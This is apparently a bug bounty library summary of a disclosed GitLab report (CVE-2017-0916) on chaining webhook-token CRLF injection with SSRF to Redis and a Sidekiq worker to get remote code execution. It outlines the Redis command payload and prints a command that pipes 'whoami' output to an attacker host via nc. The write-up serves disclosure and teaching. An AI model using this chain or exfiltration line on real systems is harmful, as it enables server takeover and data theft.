# Evaluating Ruby code by injecting Rescue job on the system_hook_push queue through web hook

Newline injection in GitLab webhook secret token let attacker smuggle Redis commands via blind SSRF, enqueuing a Sidekiq job that evaluated Ruby for RCE.

- Payout: $750
- Severity: high
- Program: GitLab
- Credited: jobert
- Disclosed: 2018-04-27
- CVE: CVE-2017-0916
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/299473
- Library page: https://bugbountylibrary.com/r/h1%3A299473
- Tags: domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:high tech:redis tech:ruby technique:chained technique:source-review vuln:crlf-injection vuln:rce vuln:ssrf

**Target:** Webhook integration secret token / Redis / Sidekiq
**Root cause:** The webhook secret token is placed verbatim into the X-Gitlab-Token HTTP header without stripping CRLF, allowing injection of arbitrary lines into the TCP stream sent to the webhook URL. Combined with SSRF to an internal Redis, injected lines become Redis protocol commands.
**Steps:**
1. Create project, open Integrations, set webhook URL to `http://127.0.0.1:6379/`
2. Set secret token to payload: `A\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{...GitlabShellWorker class_eval...}"\n exec`
3. Save integration, click `Test` to trigger webhook POST to Redis
4. Redis ignores HTTP preamble, parses injected MULTI/SADD/LPUSH/EXEC, enqueues job
5. Sidekiq picks up job, GitlabShellWorker#perform('class_eval', "open('|whoami | nc attacker 80').read") executes command and exfiltrates output
**How found:** Researcher had prior open SSRF reports against internal services; noticed webhook token is reflected into X-Gitlab-Token header and hypothesized CRLF injection could smuggle Redis protocol commands through the SSRF to Redis, then searched for a Sidekiq worker (GitlabShellWorker) whose perform uses public_send to achieve code eval.
**Exploitation:** Attacker needs a GitLab instance with external Redis reachable from the webhook fetcher (e.g. 127.0.0.1:6379). Webhook URL points at Redis; CRLF in token injects Redis MULTI/EXEC block that pushes a crafted GitlabShellWorker job onto system_hook_push queue. Worker calls gitlab_shell.__send__('class_eval', ruby) executing arbitrary Ruby/shell, exfiltrated via nc.
**Escalation:** Blind SSRF chained with newline injection to reach internal Redis, then abuse of GitlabShellWorker public_send to convert queue write into Ruby code evaluation and full RCE.
**Insight:** When a user-controlled value lands in an HTTP header of a server-side fetch, test CRLF injection; if the fetch target is an internal Redis, injected lines become RESP commands. Look for Sidekiq/Resque workers that call public_send or class_eval on arguments to turn a queue write into RCE.